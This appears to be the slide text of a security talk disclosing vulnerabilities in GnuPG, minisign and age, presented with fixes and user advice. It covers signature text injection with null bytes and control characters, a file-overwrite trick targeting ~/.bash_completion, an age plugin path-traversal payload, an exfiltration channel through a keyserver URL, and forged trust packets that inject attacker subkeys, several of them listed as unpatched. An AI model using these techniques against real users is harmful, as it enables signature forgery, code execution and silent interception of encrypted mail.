These slides are designed to be presented in 1920x1080: otherwise stuff might be clipped or weirdly sized.
If you skip to fast over the simulated terminal, lines might get lost.
Security Researcher, CS @ KIT
web @
KITCTF
Security Engineer @ Asymmetric Research
pwn @
KITCTF
ASCII-Armor Packet Formats
Keyring Format
GCM OAEP PSS
PKCS#1 CMS
(xe)d = x (mod n)
y2 = x3 + ax + b
Specification + Implementation
| PGP/OpenPGP/LibrePGP/ Pretty Good Privacy |
GPG/GnuPG/ GNU Privacy Guard |
| The Specification | An Implementation |
| RFC 2440, 4880, 9580 | Usable software |
| Defines packet structure and cryptography specifics |
Implements the specification as a CLI & library |
There are more PGP implementations such as Sequoia-PGP (sq)
There are non-PGP tools such as age or minisign
|
|
Cryptography nerd stuff
I like(d) GPG
-> Doing that requires reading GPG code
Cryptography nerd stuff
I like(d) GPG & messing with GPG
-> Doing that requires reading GPG code
xkcd.com/1181: PGP
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - From here on out, we will cryptographically sign all messages with this key. It is available on the mit keyservers. Key ID 7A35090F, as posted in a2e7j6ic78h0j. Patience is a virtue. Good luck. 3301 -----BEGIN PGP SIGNATURE----- iQIcBAEBAgAGBQJPBRz7AAoJEBgfAeV6NQkP1UIQALFcO8DyZkecTK5pAIcGez7k [...] [...] [...] =fRcg -----END PGP SIGNATURE-----
gpg: invalid clearsig header
-----BEGIN PGP SIGNED MESSAGE----- <- This is the cleartext start
Hash: SHA1
- From here on out, we will cryptographically sign all messages with this key.
It is available on the mit keyservers. Key ID 7A35090F, as posted in a2e7j6ic78h0j.
Patience is a virtue.
Good luck.
3301
-----BEGIN PGP SIGNATURE-----
iQIcBAEBAgAGBQJPBRz7AAoJEBgfAeV6NQkP1UIQALFcO8DyZkecTK5pAIcGez7k
[...]
[...]
[...]
=fRcg
-----END PGP SIGNATURE-----
gpg: invalid clearsig header
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1 <- Here are headers
- From here on out, we will cryptographically sign all messages with this key.
It is available on the mit keyservers. Key ID 7A35090F, as posted in a2e7j6ic78h0j.
Patience is a virtue.
Good luck.
3301
-----BEGIN PGP SIGNATURE-----
iQIcBAEBAgAGBQJPBRz7AAoJEBgfAeV6NQkP1UIQALFcO8DyZkecTK5pAIcGez7k
[...]
[...]
[...]
=fRcg
-----END PGP SIGNATURE-----
gpg: invalid clearsig header
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
- From here on out, we will cryptographically sign all messages with this key.
It is available on the mit keyservers. Key ID 7A35090F, as posted in a2e7j6ic78h0j.
Patience is a virtue. <- Only this text is hashed & verified
Good luck.
3301
-----BEGIN PGP SIGNATURE-----
iQIcBAEBAgAGBQJPBRz7AAoJEBgfAeV6NQkP1UIQALFcO8DyZkecTK5pAIcGez7k
[...]
[...]
[...]
=fRcg
-----END PGP SIGNATURE-----
gpg: invalid clearsig header
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - From here on out, we will cryptographically sign all messages with this key. It is available on the mit keyservers. Key ID 7A35090F, as posted in a2e7j6ic78h0j. Patience is a virtue. Good luck. 3301 -----BEGIN PGP SIGNATURE----- iQIcBAEBAgAGBQJPBRz7AAoJEBgfAeV6NQkP1UIQALFcO8DyZkecTK5pAIcGez7k [...] [...] <- This is a PGP packet stream containing [...] a cryptographic signature over the text above =fRcg -----END PGP SIGNATURE-----
gpg: invalid clearsig header
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1 <- These headers are not part of the signature!
- From here on out, we will cryptographically sign all messages with this key.
It is available on the mit keyservers. Key ID 7A35090F, as posted in a2e7j6ic78h0j.
Patience is a virtue.
Good luck.
3301
-----BEGIN PGP SIGNATURE-----
iQIcBAEBAgAGBQJPBRz7AAoJEBgfAeV6NQkP1UIQALFcO8DyZkecTK5pAIcGez7k
[...]
[...]
[...]
=fRcg
-----END PGP SIGNATURE-----
gpg: invalid clearsig header
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1, Cicada 3301 will be revived <- We can try to inject here...
- From here on out, we will cryptographically sign all messages with this key.
It is available on the mit keyservers. Key ID 7A35090F, as posted in a2e7j6ic78h0j.
Patience is a virtue.
Good luck.
3301
-----BEGIN PGP SIGNATURE-----
iQIcBAEBAgAGBQJPBRz7AAoJEBgfAeV6NQkP1UIQALFcO8DyZkecTK5pAIcGez7k
[...]
[...]
[...]
=fRcg
-----END PGP SIGNATURE-----
gpg: invalid clearsig header
/****************
* check whether the armor header is valid on a signed message.
* this is for security reasons: the header lines are not included in the
* hash and by using some creative formatting rules, Mallory could fake
* any text at the beginning of a document; assuming it is read with
* a simple viewer. We only allow the Hash Header.
*/
static int parse_hash_header( const char *line )
Parses the familiar
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512
$ cat msg | gpg -u gpg.fail --clearsign --not-dash-escaped -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 NotDashEscaped: You need gpg to verify this message This part is actually signed and verified -----BEGIN PGP SIGNATURE----- iHUEARYKAB0WIQTubq20y7BjiHo74rQTrr7FcboURwUCaUfoJwAKCRATrr7FcboU R9hZAQC21yWDAjFkjGwoepxL6RuA2BV12YN4Xck408hqXLkS3QD+JvWdg+B8dMYM 0QJ2EguxBHn2bFN/NN2kYN86UGCiOgg= =4bjO -----END PGP SIGNATURE-----
$ cat msg.modified && gpg --verify msg.modified -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 NotDashEscaped: You can just put anything (like "creative formatting") here and it will verify This part is actually signed and verified -----BEGIN PGP SIGNATURE----- iHUEARYKAB0WIQTubq20y7BjiHo74rQTrr7FcboURwUCaUfoJwAKCRATrr7FcboU R9hZAQC21yWDAjFkjGwoepxL6RuA2BV12YN4Xck408hqXLkS3QD+JvWdg+B8dMYM 0QJ2EguxBHn2bFN/NN2kYN86UGCiOgg= =4bjO -----END PGP SIGNATURE----- gpg: Signature made Sun 21 Dec 2025 01:30:45 PM CET gpg: using EDDSA key EE6EADB4CBB063887A3BE2B413AEBEC571BA1447 gpg: Good signature from "39c3 demo <[email protected]>" [ultimate]
/****************
* check whether the armor header is valid on a signed message.
* this is for security reasons: the header lines are not included in the
* hash and by using some creative formatting rules, Mallory could fake
* any text at the beginning of a document; assuming it is read with
* a simple viewer. We only allow the Hash Header.
*/
static int parse_hash_header( const char *line )
Hash: SHA512 \0 We have just injected content again
Hash: SHA512 \0 \v\r\v\r We have just injected content again
Vertical tabs (\v) & carriage returns (\r)
Hash: SHA512 \0
\r\r We have just injected content again
Vertical tabs (\v) & carriage returns (\r)
Hash: SHA512 \0
We have just injected content again
Vertical tabs (\v) & carriage returns (\r)
Implementations: Have strict parsing as advertised in the comment
Users: Avoid cleartext signatures; Use --decrypt
gpg.fail/nullbyte & gpg.fail/notdash
A dead simple tool to sign files and verify signatures.
- Simple to use
- Secure (based on modern cryptography)
- Minimal (focused on doing one thing well)
untrusted comment: [arbitrary text] base64([signature_algorithm] || [key_id] || [signature]) trusted_comment: [arbitrary text] base64([global_signature])
global_signature: ed25519([signature] || [trusted_comment])
untrusted comment: [arbitrary text] base64([signature_algorithm] || [key_id] || [signature]) trusted_comment: [arbitrary text] base64([global_signature])
global_signature: ed25519([signature] || [trusted_comment])
|
|
cat output vs verified
We can add anything to the top of PGP signed messages
Non-PGP C tools make the same mistakes as GPG
Can we break signatures even further?
Cleartext |
Full (new!) |
xkcd.com/1181: PGP
Implementations: Don't mix sig types (--cleartext), strict parsing, remove clearsigs
Users: Avoid using clearsigs; Use --decrypt
gpg.fail/clearsig
--decrypt injection
Reported. Fixed in 8abc320 with our exploit payload in the commit message
gpg: Error out on unverified output for non-detached signatures. * g10/mainproc.c (do_proc_packets): Never reset the any.data flag. Kudos to the reporter for the detailed report.
2.2 branch ✅, 2.4 branch ✅; 2.4 release (probably your version) ❌
gpg.fail/detached
Cleartext/Full signatures: broken in many ways
Detached signatures: also spoofable
PGP alternatives: also have issues
-> Signatures are getting boring
Philosophical question:
Is crypto on the command line a good idea?
This can display data in places that appear trusted
How should binary on the terminal be handled?
filename field for plaintext packetsfile pathgpg [file] will write the file there (after asking)$ gpg pts.enc gpg: WARNING: no command supplied. Trying to guess what you mean ... gpg: pts.enc: unknown suffix Enter new filename [/home/nine/.bash_completion]:
$ gpg --decrypt pts.enc && gpg pts.enc gpg: WARNING: Message contains no signatures. View in safe-mode [ENTER]? $ bash pwned$
gpg: Do not use a default when asking for another output filename. * g10/options.h (COMPAT_SUGGEST_EMBEDDED_NAME): New. * g10/gpg.c (compatibility_flags): New flags "suggest-embedded-name". * g10/openfile.c (ask_outfile_name): Do not show a default unless the compatibility flag is used.
Implementations: Beyond the narrow fix, always ask before outputting binary to the terminal.
Users: Use a GnuPG version that includes this patch
gpg.fail/filename
Rick Astley ->
Trusted UI ->
A simple, modern, and secure encryption tool
“Age is what PGP file encryption would be if PGP didn't suck shit.”
— Soatok Dreamseeker
Modern cryptography
Rust and Go implementations
Plugin system for YubiKeys etc.
why is it trying to run random binaries derived from [the public key]????
Let's look at the spec!
Mapping recipients and identities to plugin binaries
Plugins are identified by an arbitrary stringNAME.
In ABNF:NAME = 1*VCHAR
When a plugin recipient is provided, the client
searches for a binary with the plugin name.
C2SP: Plugin system for age
an arbitrary 1*VCHAR? 🤔
../../../../bin/pwn
Oops.
gpg disclosure = gpg encrypted -> age disclosure = age encrypted
age encourages one-time ephemeral keys -> What key do we use?
age (Go), rage, pyrage, typage
ANAMEMUST only contain alphanumeric and-_.+
Relative paths MUST NOT be searched
Plugin names MUST NOT contain path separators
gpg.fail/age
Signatures: Severe bugs in cleartext and detached signatures
Crypto on the command line: maybe not the best idea
What about memory safety?
How is this reachable
afx->inp_bypass is on when base64 is not detected
armor_filter is only pushed if base64 is detected
They both use check_input()
-> We would need Schroedinger's base64 payload
Simple fix: Supply enough to overflow the filter
to get it called twice with different inputs
“that is indeed a very good analysis. Thank you and your team.”
Fix was committed with our PoC payload in the commit message (115d138) on the dev branch.
"Assert that the filter implementations behave well"
Users: Use a GnuPG version that includes this patch
gpg.fail/memcpy
Users: Use a GnuPG version that includes this patch
Implementations: Use MSAN with a comprehensive test suite + static analysis
gpg.fail/sha1
Mallory: "I encrypted my public key for you, can you upload my key?"
gpg --unwrap key.gpg.enc > key.gpg
GPG says "decryption failed: invalid packet", but key seems fine:
$ gpg key.gpg gpg: WARNING: no command supplied. Trying to guess what you mean ... pub ed25519 2025-12-21 [C] [expires: 2028-12-17] 7C996D1BA8E1D4082719424AE80EBABCC54F0335 uid Mallory <[email protected]> sub ed25519 2025-12-21 [S] [expires: 2028-12-17] sub cv25519 2025-12-21 [E] [expires: 2028-12-17]
Fair enough; let's upload that to a keyserver
Mallory has just decrypted something with your private keys.
Only some failures are treated as manipulation:
Attack goal: make the error look like “some weird decode issue”, not tampering.
Irregular EOF becomes INV_PACKET:
Available under keys.openpgp.org & gpg.fail/poc/exfil
$ gpg --export [email protected] | sq packet dump Public-Key Packet, new CTB, 2 header bytes + 51 bytes Curve: Ed25519 Fingerprint: 06993EC337C276ECFD8C598AB613D42DB68D9E1D [...] Signature Packet, new CTB, 3 header bytes + 371 bytes Type: DirectKey Unhashed area: Here's the zlib header! ↓ Preferred keyserver: "http://localhost:9999/upload-key?x=�\u{14}G\"\u{16}��>�\u{15}fd�x\u{15}D\u{15}D�\u{2}x�\u{1}H\0���Fb\0iHP ��#�5 That is plaintext w�W���w\u{605}���r\u{1c}�&\u{f}ǟ�\r�^\u{e}��D}�,/�n_���{�Jv�!��\u{14}�\t\u{7}��;�jB2D�!6�a��\"�"
Implementation: Have strict error handling on critical paths
Users: Treat warnings as errors (leads to false positives)
gpg.fail/malleability
Trust chain: You -[signed]-> Alice -[signed]-> Bob -[signed]-> Carol
Starts at your own key
How do you trust yourself?
"Trust packets contain data indicating which key
holders are trustworthy introducersThe format is defined by implementations
SHOULD NOT be emitted to output
SHOULD be ignored on any input"
RFC 4880, 5.10. Trust Packet (Tag 12)
--keyring file
Add file to the current list of keyrings. If file begins with a tilde and a slash,
these are replaced by the $HOME directory. If the filename does not contain a slash,
it is assumed to be in the GnuPG home directory ("~/.gnupg" unless --homedir or
$GNUPGHOME is used).
Note that this adds a keyring to the current list. If the intent is to use the speci-
fied keyring alone, use --keyring along with --no-default-keyring.
If the option --no-keyring has been used no keyrings will be used at all.
Note that if the option use-keyboxd is enabled in 'common.conf', no keyrings are used
at all and keys are all maintained by the keyboxd process in its own database.
--import-options restore
Import in key restore mode. This imports all data which is usually skipped during
import; including all GnuPG specific data. All other contradicting options are
overridden.
Those sound safe, but allow
using and importing foreign trust packets
Wildly ignoring the RFC, but:
does not affect the trust model. Why?
/* Note: trustval is not yet used. */
GnuPG uses a separate trustdb.gpg,
and does not store trust values in trust packets!
What do they store in trust packets, then?
Uh oh.
Surely we don't blindly read those back, do we?
Uh oh.
Where is that signature cache used?
Signatures over text do not use the signature cache!
The other kind of signature however...
Forge a trust packet that sets checked/valid on a key signature, which allows:
Works with German government
Offer various government ID related products
gpg.fail/poc/merkel - This shows the real, original fingerprint of Governikus
Most well known PGP keys?
Satoshi Nakamoto (Bitcoin inventor)
Satoshi is the edge case: Nothing works!
Previous vulns modify existing signatures
Satoshi has never used his keys
-> Let's give Satoshi a new subkey!
gpg.fail/poc/satoshi - This shows the real, original fingerprint of Satoshi Nakamoto
Importing a packet like this can permanently backdoor encryption
Let's create a key that backdoors encryption to the CCC disclosure inbox!
gpg.fail/poc/ccc - This shows the real, original fingerprint of [email protected]
--keyring or --import-options restore untrusted trust packets can mark subkey
bindings as “valid”, causing GnuPG to accept attacker-injected subkeys and silently encrypt to the attacker.
Implementations: document and harden these options; never let a cache bit bypass cryptographic verification.
Users: don't use --import-options restore or --keyring with untrusted files
gpg.fail/trust
That's a lot for one year!
Signatures all the way down!
A lot of 0-days!
Not inspiring confidence!
Committed before the speakers were born!
| gpg.fail/… | Status | Impact | Patch / Ref |
|---|---|---|---|
memcpy |
Patch unreleased | Memory corruption in b64 parsing | 115d138 |
trust |
Unpatched | Signing, encryption, auth & user IDs broken | -- |
sha1 |
Patch unreleased | SHA1 downgrade on user ID signatures | db9705e |
nullbyte |
Unpatched | Limited clearsig text injection | -- |
notdash |
Unpatched | Limited clearsig text injection | -- |
detached |
Patch unreleased | Detach sig text injection | 8abc320 |
malleability |
wontfix | Malleability, breaking encryption at rest | -- |
filename |
Mitigated | Code execution on user interaction | ad0c6c3 |
age |
Patched | Code execution on user interaction | GHSA-32gq-x56h-299c |
notsoclear |
Unpatched | Full clearsig text injection | -- |
minisign |
Unpatched | Trusted comment injection | -- |
| more than fit in the talk | |||
formfeed |
Unpatched | Clearsig text injection on \f |
-- |
noverify |
Wontfix | Verification impossible | -- |
polyglot |
Unpatched | Parser difference | -- |